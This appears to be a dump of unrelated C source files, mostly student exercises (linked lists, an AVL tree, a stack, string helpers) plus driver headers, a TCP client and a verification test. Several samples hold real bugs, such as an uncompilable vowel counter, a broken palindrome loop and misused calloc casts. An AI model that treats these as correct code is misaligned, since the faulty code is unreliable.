(*afterReduce)[40]; ftruncate(afterReduce_fd,(length*40)); afterReduce = mmap(0,length*40, PROT_READ | PROT_WRITE, MAP_SHARED, afterReduce_fd,0); int i =0; int after_fd; after_fd=shm_open("OS", O_CREAT | O_RDWR, 0666); char (*after)[30]; ftruncate(after_fd, length*30); after = mmap(0,length*30, PROT_READ | PROT_WRITE, MAP_SHARED, after_fd, 0); char *abc = malloc(sizeof(char)*1000); char *tmp; tmp = malloc(strlen(after[start])+1); strcpy(tmp,after[start]); for(i=start; i<end-1; i++){ if(strcmp(after[i],after[i+1])==0){ count+=1; // printf("%s\n", tmp); }else{ tmp=realloc(tmp,strlen(after[i]) + strlen(" \t") + sizeof(char)*5); strcat(tmp, " \t"); sprintf(abc, "%d",count); strcat(tmp,abc); // printf("%s\n", tmp); strcpy(afterReduce[where],tmp); count = 1; where+=1; tmp = realloc(tmp,strlen(after[i+1])+1); strcpy(tmp,after[i+1]); } } tmp = realloc(tmp,strlen(after[i])+strlen(" \t") + sizeof(char)*5); strcat(tmp, " \t"); sprintf(abc, "%d", count); strcat(tmp,abc); strcpy(afterReduce[where],tmp); shm_unlink("after"); shmdt(after); shmctl(shmget(after_fd,length*30,O_CREAT | O_RDWR), IPC_RMID, NULL); }
C
/* ** plv.c for in /home/weinha_l/Semestre_4/mouillette_zappy/src/server/ ** ** Made by Loïc Weinhard ** Login <[email protected]> ** ** Started on Sun Jun 26 13:12:30 2016 Loïc Weinhard ** Last update Sun Jun 26 13:19:47 2016 Loïc Weinhard */ #include "graphic_client.h" #include "utils.h" #include "xfct.h" static char send_level(t_client *player, t_graphic *graphic) { char *str; char *tmp; str = xstrdup("plv "); str = my_strcat(str, (tmp = itoa(player->fd))); str = my_strcat(str, " "); xfree(tmp); str = my_strcat(str, (tmp = itoa(player->level))); str = my_strcat(str, "\n"); xfree(tmp); xwrite(graphic->fd, str); xfree(str); return (0); } char plv(t_server *server, t_graphic *graphic, char **tab) { t_team *team; t_client *player; if (lentab(tab) != 2) { xwrite(graphic->fd, "sbp\n"); return (0); } team = server->teams; while (team) { player = team->members; while (player) { if (player->fd == atoi(tab[1])) return (send_level(player, graphic)); player = player->next; } team = team->next; } xwrite(graphic->fd, "sbp\n"); return (0); }
C
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <time.h> #include <stdlib.h> struct elementi{ int num; struct elementi *next; }*stelement; int zauzimanjeMemorije(int); void formiranjeNiza(int*, int); void formiranjePP(int* , int); void prikaziListu(); void pretrazivanjeNiza(int*, int); void pretrazivanjePopisa(int); int main(void) { int n; int* array = NULL; printf(" Unesite broj elemenata : "); scanf("%d", &n); array = zauzimanjeMemorije(n); if (array == NULL) { return NULL; } formiranjeNiza(array, n); formiranjePP(array, n); printf("\n Podatci u listi : \n"); prikaziListu(); pretrazivanjeNiza(array, n); pretrazivanjePopisa(n); return 0; } int zauzimanjeMemorije(int n) { int* array = NULL; array = (int*)calloc(n, sizeof(int)); if (array == NULL) { return NULL; } for (int i = 0; i < n; i++) { *(array + i) = (int)calloc(n, sizeof(int)); if (*(array + i) == NULL) { return NULL; } } return array; } void formiranjeNiza(int* array, int n){ time_t t1, t2; srand((unsigned)time(NULL)); t1 = clock(); for (int i = 0; i < n; i++) { array[i]=rand(); printf("%d\n", array[i]); } t2 = clock(); printf("Vrijeme trajanja formiranja niza je % dms\n", t2 - t1); } void formiranjePP(int* array, int n) { time_t t1, t2; struct elementi* fnNode, * tmp; int num, i = 0; stelement = (struct elementi*)malloc(sizeof(struct elementi)); if (stelement == NULL) { printf(" Memorija ne moze biti alocirana."); } else { int num = (*(array + i)); stelement->num = num; stelement->next = NULL; tmp = stelement; t1 = clock(); for (i = 1; i <= n-1; i++) { fnNode = (struct elementi*)malloc(sizeof(struct elementi)); if (fnNode == NULL) { printf(" Memorija ne moze biti alocirana."); break; } else { num = (*(array + i)); fnNode->num = num; fnNode->next = NULL; tmp->next = fnNode; tmp = tmp->next; } } t2 = clock(); printf("Vrijeme trajanja formiranja PP je % dms\n", t2 - t1); } } void prikaziListu() { struct elementi* tmp; if (stelement == NULL) { printf(" List is empty."); } else { tmp = stelement; while (tmp != NULL) { printf(" Data = %d\n", tmp->num); tmp = tmp->next; } } } void pretrazivanjeNiza(int* array, int n) { time_t t1, t2; int key; int flag = 0; printf("\nUnesite broj: "); scanf("%d", &key); t1 = clock(); for (int i = 0; i < n; i++) { if (key == array[i]) flag = 1; break; } if (flag == 1) printf("\nBroj %d postoji u nizu\n", key); else printf("\nBroj %d ne postoji u nizu\n", key); t2 = clock(); printf("Vrijeme trajanja pretrazivanja niza je % dms\n", t2 - t1); } void pretrazivanjePopisa(int n) { time_t t1, t2; struct elementi* tmp; int key; int flag = 0; printf("\nUnesite broj: "); scanf("%d", &key); tmp = stelement; t1 = clock(); while (tmp != NULL) { if (tmp->num == key) { flag = 1; break; } else { flag = 0; } tmp = tmp->next; } t2 = clock(); if (flag == 1) printf("\nBroj %d postoji u nizu\n", key); else printf("\nBroj %d ne postoji u nizu\n", key); printf("Vrijeme trajanja pretrazivanja PP je % dms\n", t2 - t1); }
C
#include "lists.h" /** * insert_node - insert a node with the number value * @head: pointer to the list * @number: value of the new position * Return: a list with the new node inside */ listint_t *insert_node(listint_t **head, int number) { listint_t *temp, *aux; if (head == NULL) return (NULL); temp = malloc(sizeof(listint_t)); if (!temp) return (NULL); temp->n = number; if (*head == NULL) { temp->next = *head; *head = temp; return (*head); } aux = *head; if (aux->n > temp->n) { temp->next = aux; aux = temp; *head = aux; return (aux); } for (aux = *head; aux && aux->next; aux = aux->next) { if ((aux->next)->n > temp->n) { temp->next = aux->next; aux->next = temp; return (aux->next); } } temp->next = NULL; aux->next = temp; return (aux->next); }
C
#include <stdio.h> #include <stdlib.h> #include "header.h" Node* insert(Node* root, Node *newNode) { Node *node = search(root, newNode->key); Node *x = root; if (node != NULL) return root; while (x != NULL) { node = x; if (newNode->key < x->key) { x = x->leftSon; } else { x = x->rightSon; } } newNode->father = node; if (node == NULL) { root = newNode; } else if(newNode->key < node->key) { node->leftSon = newNode; } else { node->rightSon = newNode; } Node* w = newNode; while(w != NULL){ root = balanceTree(root, w); w = w->father; } return root; } Node* transplant(Node *root, Node *one, Node *two) { if (one->father == NULL) { root = two; } else if(one == one->father->leftSon) { one->father->leftSon = two; } else { one->father->rightSon = two; } if(two != NULL) { two->father = one->father; } return root; } Node* removeNode(Node* root, Node* toRemove) { Node* ref = toRemove->father; if (toRemove->leftSon == NULL) { root = transplant(root, toRemove, toRemove->rightSon); } else if(toRemove->rightSon == NULL) { root = transplant(root, toRemove, toRemove->leftSon); } else { Node* y = minimum(toRemove->rightSon); if (y->father != toRemove) { root = transplant(root, y, y->rightSon); y->rightSon = toRemove->rightSon; y->rightSon->father = y; } root = transplant(root, toRemove, y); y->leftSon = toRemove->leftSon; y->leftSon->father = y; ref = y; } free(toRemove); while(ref != NULL) { root = balanceTree(root, ref); ref = ref->father; } return root; } Node* search(Node* root, int key) { Node* searched = root; while(searched != NULL && key != searched->key) { if(key < searched->key) { searched = searched->leftSon; } else { searched = searched->rightSon; } } return searched; } Node* minimum(Node* treeNode) { if (treeNode == NULL) { return NULL; } while (treeNode->leftSon != NULL) { treeNode = treeNode->leftSon; } return treeNode; } Node* maximum(Node* treeNode) { if (treeNode == NULL) { return NULL; } while (treeNode->rightSon != NULL) { treeNode = treeNode->rightSon; } return treeNode; } Node* successor(Node* treeNode) { if (treeNode == NULL) { return NULL; } if (treeNode->rightSon != NULL) { return minimum(treeNode->rightSon); } Node* sucessor = treeNode->father; while (sucessor != NULL && treeNode == sucessor->rightSon) { treeNode = sucessor; sucessor = sucessor->father; } return sucessor; } Node* predecessor(Node* treeNode) { if (treeNode == NULL) { return NULL; } if(treeNode->leftSon != NULL) { return maximum(treeNode->leftSon); } Node* predecesor = treeNode->father; while (predecesor != NULL && treeNode == predecesor->leftSon) { treeNode = predecesor; predecesor = predecesor->father; } return predecesor; } void printTree(Node* root) { if (root == NULL) { return; } int nodeHeight = height(root->rightSon) - height(root->leftSon); // altura do no a direita menos altura do no a esquerda if (root->leftSon==NULL && root->rightSon==NULL) printf("key: %d \t hD - hE: %d\n", root->key, nodeHeight); if (root->rightSon != NULL && root->leftSon == NULL) printf("key: %d \t hD - hE: %d \t rightSon: %d\n", root->key, nodeHeight, root->rightSon->key); if(root->leftSon != NULL && root->rightSon == NULL) printf("key: %d \t hD - hE: %d \t leftSon: %d\n", root->key, nodeHeight, root->leftSon->key); if (root->rightSon != NULL && root->leftSon != NULL) printf("key: %d \t hD - hE: %d \t leftSon: %d \t rightSon: %d\n", root->key, nodeHeight, root->leftSon->key, root->rightSon->key); printTree(root->leftSon); printTree(root->rightSon); } int height(Node* node) // altura de um determinado no { if (node == NULL) return -1; int hLeft = height(node->leftSon); int hRight = height(node->rightSon); if (hRight > hLeft) { return hRight+1; } return hLeft+1; } Node* balanceTree(Node* root, Node* node) { int nodeHeight = height(node->rightSon) - height(node->leftSon); if (nodeHeight == 2) { Node* temp = node->rightSon; int hTempRightSon = height(temp->rightSon); int hTempLeftSon = height(temp->leftSon); if (hTempRightSon > hTempLeftSon) { root = leftRotation(root, node); printf("\nLeft Rotation Done.\n"); } else if (hTempRightSon < hTempLeftSon) { root = doubleLeftRotation(root, node); printf("\nDouble Left Rotation Done. \n"); } } else if (nodeHeight == -2) { Node* temp = node->leftSon; int hTempRightSon = height(temp->rightSon); int hTempLeftSon = height(temp->leftSon); if(hTempLeftSon > hTempRightSon) { root = rightRotation(root, node); printf("\nRight Rotation Done. \n"); } else if (hTempLeftSon < hTempRightSon) { root = doubleRightRotation(root, node); printf("\nDouble Right Rotation Done. \n"); } } return root; } Node* leftRotation(Node* root, Node* toRotate) { Node* v = toRotate; Node* u = toRotate->rightSon; root = transplant(root, v, u); v->father = u; v->rightSon = u->leftSon; u->leftSon = v; return root; } Node* rightRotation(Node* root, Node* toRotate) { Node* p = toRotate; Node* u = toRotate->leftSon; root = transplant(root, p, u); p->father = u; p->leftSon = u->rightSon; u->rightSon = p; return root; } Node* doubleLeftRotation(Node* root, Node* toRotate) { root = rightRotation(root, toRotate->rightSon); root = leftRotation(root, toRotate); return root; } Node* doubleRightRotation(Node* root, Node* toRotate) { root = leftRotation(root, toRotate->leftSon); root = rightRotation(root, toRotate); return root; } void preOrder(Node* root) { if (root == NULL) { return; } printf("%d\n", root->key); preOrder(root->leftSon); preOrder(root->rightSon); } void posOrder(Node* root) { if (root == NULL) { return; } posOrder(root->leftSon); posOrder(root->rightSon); printf("%d/n", root->key); } void inOrder(Node* root) { if (root == NULL) { return; } inOrder(root->leftSon); printf("%d\n", root->key); inOrder(root->rightSon); }
C
#include "Factorial.h" int factorial(int x){ int ans=x; x--; for(;x>1;x--) ans = x * ans; if(x < 1) return 1; else return ans; }
C
// RUN: %sea smt %s --step=small -o %t.sm.smt2 // RUN: %z3 %t.sm.smt2 fp.spacer.order_children=2 2>&1 | OutputCheck %s // // RUN: %sea smt %s --step=small --inline -o %t.sm.inline.smt2 // RUN: %z3 %t.sm.inline.smt2 fp.spacer.order_children=2 2>&1 | OutputCheck %s // // RUN: %sea smt %s --step=large -o %t.lg.smt2 // RUN: %z3 %t.lg.smt2 fp.spacer.order_children=2 2>&1 | OutputCheck %s // // RUN: %sea smt %s --step=large --inline -o %t.lg.inline.smt2 // RUN: %z3 %t.lg.inline.smt2 fp.spacer.order_children=2 2>&1 | OutputCheck %s // // CHECK: ^sat$ #include "seahorn/seasynth.h" extern int nd1(); extern int nd2(); extern int nd3(); extern int nd4(); extern int nd5(); extern int nd6(); // Interpolant. extern bool infer(int y, int z); bool PARTIAL_FN itp(int y, int z) { return infer(y, z); } // Test. int main(void) { // See 01_interpolant_unsat.c. // // Recall that the original program was safe because (1) A && B entailed // y = 4 and (2) B entails y != 4. In this program, B no longer entails // y != 4. As a result, A && B are SAT, and an interpolant no longer exists. // The program is unsafe. int w1 = nd1(); int y1 = nd2(); int z1 = nd3(); assume((w1 != 0) && (y1 = 2 * z1 + 6)); sassert(itp(y1, z1)); int x2 = nd4(); int y2 = nd5(); int z2 = nd6(); assume(itp(y2, z2)); sassert(!((x2 < 7) && (y2 == -4 * z2))); }
C
#include "boolean.h" Bool String_To_Bool( char *s ) { Return_Val_If_Fail( s, FALSE ); if( String_To_True( s ) ) { return TRUE; } return FALSE; } Bool String_To_True( char *s ) { Return_Val_If_Fail( s, FALSE ); if( ( strcmp( s, "true" ) == 0 ) || ( strcmp( s, "True" ) == 0 ) || ( strcmp( s, "TRUE" ) == 0 ) ) { return TRUE; } return FALSE; } Bool String_To_False( char *s ) { Return_Val_If_Fail( s, TRUE ); if( ( strcmp( s, "false" ) == 0 ) || ( strcmp( s, "False" ) == 0 ) || ( strcmp( s, "FALSE" ) == 0 ) ) { return FALSE; } return TRUE; } char* Bool_To_String( Bool b ) { if( b == TRUE ) return "true"; else if( b == FALSE ) return "false"; else return NULL; } /*eof*/
C
/********************************************************************/ /* Class: Computer Programming, Fall 2018 */ /* Author: ffE */ /* ID: 107820016 */ /* Date: 2018.12.5 */ /* Purpose: qeܫŪT{O_PϦVۦP */ /* Change History: log the change history of the program */ /********************************************************************/ #include <stdio.h> #include <ctype.h> #define BUFF 50 int main() { char ch, msg[BUFF]; int i, j; /* Jyl */ printf("Enter a sentence: "); /* ŪOrr */ for (i = 0; ch = tolower(getchar()) != '\n'; i++){ if (isalpha(ch)) msg[i] = ch; } /* ˬd */ for (j = i - 1, i = 0; i < BUFF; i++) { if (msg[i] == 0) break; if (msg[i] != msg[j]) { printf("Not a palindrome"); return 0; } j--; } printf("Palindrome"); }
C
#include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int argc,char* argv[]) { if(argc!=3) { printf("Usage:%s:ip port\n",argv[0]); exit(1); } int sock=socket(AF_INET,SOCK_STREAM,0); if(sock<0) { printf("sock error\n"); exit(2); } struct sockaddr_in server; server.sin_family=AF_INET; server.sin_addr.s_addr=inet_addr(argv[1]); server.sin_port=htons(atoi(argv[2])); if(connect(sock,(struct sockaddr*)&server,sizeof(server))<0) { printf("connect error!\n"); exit(3); } char buf[64]; while(1) { printf("please enter# "); fflush(stdout); size_t s=read(0,&buf,sizeof(buf)); if(s>0) { buf[s-1]=0; if(strcmp("quit",buf)==0) { printf("client quit!\n"); break; } } write(sock,&buf,sizeof(buf)); } close(sock); return 0; }
C
#ifndef __LAB6_WORKER_H__ #define __LAB6_WORKER_H__ #include <mpi.h> #include "utils.h" int worker_proc(int rank) { // Get chunk size size_t chunk_size; MPI_Recv(&chunk_size, 1, MPI_UINT64_T, RANK_MASTER, MPI_ANY_TAG, MPI_COMM_WORLD, NULL); printf("<%d>: chunk size: %zu\n", rank, chunk_size); // Create buffers int* arr1 = NEW(int, chunk_size); int* arr2 = NEW(int, chunk_size); // Get buffer date from master MPI_Recv(arr1, chunk_size, MPI_INT32_T, RANK_MASTER, MPI_ANY_TAG, MPI_COMM_WORLD, NULL); MPI_Recv(arr2, chunk_size, MPI_INT32_T, RANK_MASTER, MPI_ANY_TAG, MPI_COMM_WORLD, NULL); // Compute FOR(i, 0, chunk_size) { arr1[i] = arr1[i] + arr2[i]; } // Send result back to master MPI_Send(arr1, chunk_size, MPI_INT32_T, RANK_MASTER, MPI_TAG_UB, MPI_COMM_WORLD); free(arr1); free(arr2); return MPI_SUCCESS; } #endif
C
#ifndef UTILS_STRING_H #define UTILS_STRING_H #include <include/cdefs.h> #include <stddef.h> #include <stdint.h> void itoa(long long i, unsigned base, char *buf); void itoa_s(long long i, unsigned base, char *buf); char *strcpy(char *s1, const char *s2); size_t strlen(const char *str); int strcmp(const char *str1, const char *str2); char *strncpy(char *dest, const char *src, size_t count); char *strdup(const char *src); char *strchr(const char *s, int c); char *strrchr(const char *s, int c); int strcasecmp(const char *s1, const char *s2); int strncasecmp(const char *s1, const char *s2, int n); char *strcat(char *dest, const char *src); char *strncat(char *dest, const char *src, size_t count); char *strim(char *s); char *strpbrk(const char *cs, const char *ct); char *strpbrk(const char *cs, const char *ct); char *strsep(char **s, const char *ct); char *strreplace(char *s, char old, char new); int32_t striof(const char *s1, const char *s2); int32_t strliof(const char *s1, const char *s2); int32_t strlsplat(const char *s1, uint32_t pos, char **sf, char **sl); int count_array_of_pointers(void *arr); static __inline void *memcpy(void *restrict dest, const void *restrict src, size_t n) { if (n > 0) asm volatile("cld; rep movsb" : "=c"((int){0}) : "D"(dest), "S"(src), "c"(n) : "flags", "memory"); return dest; } static __inline void *memset(void *dest, int c, size_t n) { if (n > 0) asm volatile("cld; rep stosb" : "=c"((int){0}) : "D"(dest), "a"(c), "c"(n) : "flags", "memory"); return dest; } int memcmp(const void *vl, const void *vr, size_t n); #endif
C
#include<stdio.h> void main() { char line[80]; int vowels=0,consonants=0,digits=0,whitespaces=0,other=0; printf("enter a line of text"); scanf("%s",line); line_scanner(line,vowels,consonants,digits,whitespaces,other); } void line_scanner(char line[],int *pv, int *pc, int *pd, int *pw, int *po) { int count=line;char ch; while((ch=toupper(line[count]))!='\0') { if(ch=='A'||ch=='E'||ch=='I'||ch=='O'||ch=='U') *pv++; else if(ch>='A' && ch<='Z') *pc++; else if(ch>='0' && ch<='9') *pd++; else if(ch==' ' ) *pw++; else *po++; count++; } printf("vowels: %d\n",vowels); printf("consonants: %d\n",consonants); printf("digits: %d\n",digits); print("whitespaces: %d\n",whitespaces); printf("others: %d\n",others); }
C
#include <stdio.h> /* * Count how many ';' in given file. */ int main(int argc, char const *argv[]) { if(argc < 2){ printf("Empty Input!\n"); return 0; } FILE * fp = fopen(argv[1],"r"); int total = 0; char c; if(fp == NULL){ printf("Can not found %s\n",argv[1]); return 0; } while(feof(fp)==0){ fscanf(fp, "%c", &c); if(c==';') total++; } printf("There are %d lines in %s.\n",total,argv[1]); fclose(fp); return 0; }
C
/* SPDX-License-Identifier: MIT */ /* * Author: Andreas Werner <[email protected]> * Date: 2016 */ #ifndef PWM_H_ #define PWM_H_ #include <FreeRTOS.h> #include <stdint.h> #include <stdbool.h> #include <system.h> #include <hal.h> /** * \defgroup PWM PWM Subsystem * \ingroup HAL * \code * #include <pwm.h> * \endcode * * This is the PWM Subsystem for controlling PWM of a SOC. * * The most PWM Driver need a Timer! See {@link TIMER} Interface * \{ */ /** * Private Structure of PWM driver */ struct pwm; #ifdef CONFIG_PWM_MULTI /** * Function of timer driver in Multi Driver implementation mode */ struct pwm_ops { struct pwm *(*pwm_init)(uint32_t index); int32_t (*pwm_deinit)(struct pwm *pwm); int32_t (*pwm_setPeriod)(struct pwm *pwm, uint64_t us); int32_t (*pwm_setDutyCycle)(struct pwm *pwm, uint64_t us); }; #endif /** * Generic PWM Interface */ struct pwm_generic { /** * true = is init * false = is not init */ bool init; #ifdef CONFIG_INSTANCE_NAME /** * Name of Driver Instance for Debugging */ const char *name; #endif #ifdef CONFIG_PWM_MULTI /** * Ops of driver in Multi mode */ const struct pwm_ops *ops; #endif }; #ifndef CONFIG_PWM_MULTI /** * Init PWM instances * \param index Index of PWM * \return PWM Instance NULL on Error */ struct pwm *pwm_init(uint32_t index); /** * Deinit PWM * \param pwm PWM instance * \return -1 on error 0 on ok */ int32_t pwm_deinit(struct pwm *pwm); /** * Set Period of PWM * \code{.unparsed} * | ______________ ______________ * | | | | | * | | | | | * |__| |___________| | * +-------------------------------------------- * | Period | * | Duty Cycle | * \endcode * \param pwm PWM instance * \param us Time * \return -1 on error 0 on ok */ int32_t pwm_setPeriod(struct pwm *pwm, uint64_t us); /** * Set Duty Cycle of PWM * \code{.unparsed} * | ______________ ______________ * | | | | | * | | | | | * |__| |___________| | * +-------------------------------------------- * | Period | * | Duty Cycle | * \endcode * \param pwm PWM instance * \param us Time * \return -1 on error 0 on ok */ int32_t pwm_setDutyCycle(struct pwm *pwm, uint64_t us); #else inline struct pwm *pwm_init(uint32_t index) { HAL_DEFINE_GLOBAL_ARRAY(pwm); struct pwm_generic *p = (struct pwm_generic *) HAL_GET_DEV(pwm, index); if (p == NULL) { return NULL; } return p->ops->pwm_init(index); } inline int32_t pwm_deinit(struct pwm *pwm) { struct pwm_generic *p = (struct pwm_generic *) pwm; return p->ops->pwm_deinit(pwm); } inline int32_t pwm_setPeriod(struct pwm *pwm, uint64_t us) { struct pwm_generic *p = (struct pwm_generic *) pwm; return p->ops->pwm_setPeriod(pwm, us); } inline int32_t pwm_setDutyCycle(struct pwm *pwm, uint64_t us) { struct pwm_generic *p = (struct pwm_generic *) pwm; return p->ops->pwm_setDutyCycle(pwm, us); } #endif /**\}*/ #endif
C
#include<stdio.h> int main(){ int n1; printf("Operao ternario\n"); printf("Digite um numero:"); scanf("%i",&n1); printf("%s", n1>=0 ? "positivo" : "negativo"); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> /* ӼһЩַ͵ȥֱûһ# Ϊֹ */ int main() { char c,filename[20]; FILE *fp; printf("Please enter the file name:\n"); scanf("%s",filename); //ע⣺ܰifδwhileѭУᵼÿһַһļ if((fp=fopen(filename,"w"))==NULL)//һֻдļʹfpָļ { printf("cannot open the file!\n"); exit(0); } c=getchar();//ڽļĻس printf("Please enter some characters:\n"); while((c=getchar())!='#') { fputc(c,fp);//ļһַ putchar(c);//ַʾĻϡ } fclose(fp); putchar(10);//Ļһз return 0; }
C
/* ** options_errors.c for tetris in /home/detroy_j/Documents/delivery/tetris ** ** Made by detroy_j ** Login <[email protected]@epitech.net> ** ** Started on Mon Feb 20 18:12:59 2017 detroy_j ** Last update Thu Mar 9 15:52:00 2017 detroy_j */ #include <stdlib.h> #include "options.h" #include "my.h" static int is_valid_key(char *key) { int i; i = 0; (my_strcmp(key, SOPT_KEY_LEFT) == 0) ? i++ : 0; (my_strcmp(key, SOPT_KEY_RIGHT) == 0) ? i++ : 0; (my_strcmp(key, SOPT_KEY_DROP) == 0) ? i++ : 0; (my_strcmp(key, SOPT_KEY_TURN) == 0) ? i++ : 0; (my_strcmp(key, SOPT_KEY_QUIT) == 0) ? i++ : 0; (my_strcmp(key, SOPT_KEY_PAUSE) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_LEFT) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_RIGHT) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_DROP) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_TURN) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_QUIT) == 0) ? i++ : 0; (my_strcmp(key, OPT_KEY_PAUSE) == 0) ? i++ : 0; return ((i == 0) ? 1 : 0); } static int is_double_key(t_options *opts, char *key) { int nb; nb = 0; (my_strcmp(opts->k_left, key) == 0) ? nb++ : 0; (my_strcmp(opts->k_right, key) == 0) ? nb++ : 0; (my_strcmp(opts->k_turn, key) == 0) ? nb++ : 0; (my_strcmp(opts->k_drop, key) == 0) ? nb++ : 0; (my_strcmp(opts->k_pause, key) == 0) ? nb++ : 0; (my_strcmp(opts->k_quit, key) == 0) ? nb++ : 0; (is_valid_key(opts->k_left) == 0) ? nb++ : 0; (is_valid_key(opts->k_right) == 0) ? nb++ : 0; (is_valid_key(opts->k_turn) == 0) ? nb++ : 0; (is_valid_key(opts->k_drop) == 0) ? nb++ : 0; (is_valid_key(opts->k_quit) == 0) ? nb++ : 0; (is_valid_key(opts->k_pause) == 0) ? nb++ : 0; return ((nb == 1) ? 0 : 1); } void check_error_key(t_options *opts) { int i; i = 0; (is_double_key(opts, opts->k_left)) ? i++ : 0; (is_double_key(opts, opts->k_right)) ? i++ : 0; (is_double_key(opts, opts->k_turn)) ? i++ : 0; (is_double_key(opts, opts->k_drop)) ? i++ : 0; (is_double_key(opts, opts->k_pause)) ? i++ : 0; (is_double_key(opts, opts->k_quit)) ? i++ : 0; if (i != 0) show_help(opts, 84); }
C
#include<stdio.h> #include<stdlib.h> #define maxsize 5 typedef struct stack{ int arr[maxsize],top; } stk; void push(stk *,int); void pop(stk *); int isfull(stk *); int isempty(stk *); int display(stk *); main() { int item,ch; stk s,*sp; sp=&s; sp->top=-1; while(1) { printf("\n1.Push\n2.Pop\n3.Display\n0.Exit\n Choose any::\n"); scanf("%d",&ch); switch(ch) { case 1:printf("\nEnter item:"); scanf("%d",&item); push(sp,item); break; case 2: pop(sp); break; case 3:display(sp); break; case 0: exit (0); } } } int isfull(stk *sp) { if(sp->top==maxsize-1) return 1; else return 0; } int isempty(stk *sp) { if(sp->top==-1) return 1; else return 0; } void push(stk *sp,int item) { if(isfull(sp)) { printf("\nOver flow"); return; } sp->top=sp->top+1; sp->arr[sp->top]=item; return; } void pop(stk *sp) { int item; if(isempty(sp)) { printf("\nStack is Empty"); return; } item=sp->arr[sp->top]; (sp->top)--; printf("\n Deleted item is %d..",item); } int display(stk *sp) { int i; for(i=0;i<=sp->top;i++) printf("%d\n",sp->arr[i]); return; }
C
#include "timerDriver.h" #include <eZ8.h> // Counter for timer 0 short timer0Counter = 0; /* Interrupt function for timer 0 */ #pragma interrupt void isr_timer0() { timer0Counter++; } /* Get the counter for timer 0 */ short getTimer0() { return timer0Counter; } /* Reset timer 0, so it can recount */ void resetTimer0() { timer0Counter = 0; } /* Setup timer 0 to 10ms */ void initTimer0() { // Set interrupt rutine SET_VECTOR(TIMER0, isr_timer0); T0CTL = 0; // Disable timer T0CTL |= 0x01; // Set continues mode // Set start value T0L = 0; T0H = 0; // Set prescale value to divide by 1 (not really needed) T0CTL |= 0x00; // Set reload value to 18432d = 1 ms period T0RH = 0x48; // Set high nipple reload value T0RL = 0x00; // Set low nipple reload value // Setup interrupt for timer 0 IRQCTL |= 0x80; // Enable all interrupts IRQ0ENH |= 0x20; // Set priority high IRQ0ENL |= 0x20; // Set priority high // Enable timer T0CTL |= 0x80; } /* Stop/disable timer 0 */ void stopTimer0() { T0CTL = 0; }
C
#include "parser.h" void error_directory_diff(char *dir) { DIR *flow; ft_putstr_fd("minishell: ", 2); ft_putstr_fd(dir, 2); ft_putstr_fd(": No such file or directory\n", 2); if ((flow = opendir(dir)) != NULL) { g_error = 126; closedir(flow); } else g_error = 127; } void error_command_diff(char *cmd) { ft_putstr_fd("minishell: ", 2); ft_putstr_fd(cmd, 2); ft_putstr_fd(": command not found\n", 2); g_error = 127; } void error_fork(void) { char *str; signal(SIGINT, sigint); signal(SIGQUIT, sigquit); g_error = errno; str = strerror(errno); ft_putstr_fd("minishell: ", 2); ft_putendl_fd(str, 2); return ; }
C
/** @file @brief UDP utility functions */ /* * Copyright (c) 2017 Intel Corporation * * SPDX-License-Identifier: Apache-2.0 */ #ifndef ZEPHYR_INCLUDE_NET_UDP_H_ #define ZEPHYR_INCLUDE_NET_UDP_H_ #include <zephyr/types.h> #include <zephyr/net/net_core.h> #include <zephyr/net/net_ip.h> #include <zephyr/net/net_pkt.h> #ifdef __cplusplus extern "C" { #endif /* These APIs are mostly meant for Zephyr internal use so do not generate * documentation for them. */ /** @cond INTERNAL_HIDDEN */ /** * @brief UDP library * @defgroup udp UDP Library * @ingroup networking * @{ */ /** * @brief Get UDP packet header data from net_pkt. * * @details The values in the returned header are in network byte order. * Note that you must access the UDP header values by the returned pointer, * the hdr parameter is just a placeholder for the header data and it might * not contain anything if the header fits properly in the first fragment of * the network packet. * * @param pkt Network packet * @param hdr Where to place the header if it does not fit in first fragment * of the network packet. This might not be populated if UDP header fits in * net_buf fragment. * * @return Return pointer to header or NULL if something went wrong. * Always use the returned pointer to access the UDP header. */ #if defined(CONFIG_NET_UDP) struct net_udp_hdr *net_udp_get_hdr(struct net_pkt *pkt, struct net_udp_hdr *hdr); #else static inline struct net_udp_hdr *net_udp_get_hdr(struct net_pkt *pkt, struct net_udp_hdr *hdr) { return NULL; } #endif /* CONFIG_NET_UDP */ /** * @brief Set UDP packet header data in net_pkt. * * @details The values in the header must be in network byte order. * This function is normally called after a call to net_udp_get_hdr(). * The hdr parameter value should be the same that is returned by function * net_udp_get_hdr() call. Note that if the UDP header fits in first net_pkt * fragment, then this function will not do anything as your hdr parameter * was pointing directly to net_pkt. * * @param pkt Network packet * @param hdr Header data pointer that was returned by net_udp_get_hdr(). * * @return Return pointer to header or NULL if something went wrong. */ #if defined(CONFIG_NET_UDP) struct net_udp_hdr *net_udp_set_hdr(struct net_pkt *pkt, struct net_udp_hdr *hdr); #else static inline struct net_udp_hdr *net_udp_set_hdr(struct net_pkt *pkt, struct net_udp_hdr *hdr) { return NULL; } #endif /* CONFIG_NET_UDP */ /** * @} */ /** @endcond */ #ifdef __cplusplus } #endif #endif /* ZEPHYR_INCLUDE_NET_UDP_H_ */
C
#include <stdio.h> #include <stdlib.h> char *substr(char *a,size_t l,char *b,size_t strt,size_t end) { size_t i,of = strt; for(i = strt - of;i < end - of;i++) b[i] = a[i]; b[i] = '\0'; return b; } int main() { size_t SZ = 10; char *a = (char *)malloc(sizeof(char) * (SZ + 1)); a[0] = 'a'; a[1] = 'b'; a[2] = 'c'; a[3] = 'd'; a[4] = 'e'; a[5] = 'f'; a[6] = 'g'; a[7] = 'h'; a[8] = 'i'; a[9] = 'j'; a[10] = '\0'; size_t strt = 2,end = 8; char b[(end - strt) + 1]; printf("substring: b,%s from %zu to %zu\n",substr(a,SZ,b,strt,end),strt,end); free(a); return 0; }
C
/* ** EPITECH PROJECT, 2019 ** my_str_isupper.c ** File description: ** is a string compose with uppercase letters */ int my_str_isupper(char const *str) { int res = 1; for (int i = 0; str[i] != '\0'; ++i) { if (str[i] >= 65 && str[i] <= 90) res = 1; else return (0); } return (res); }
C
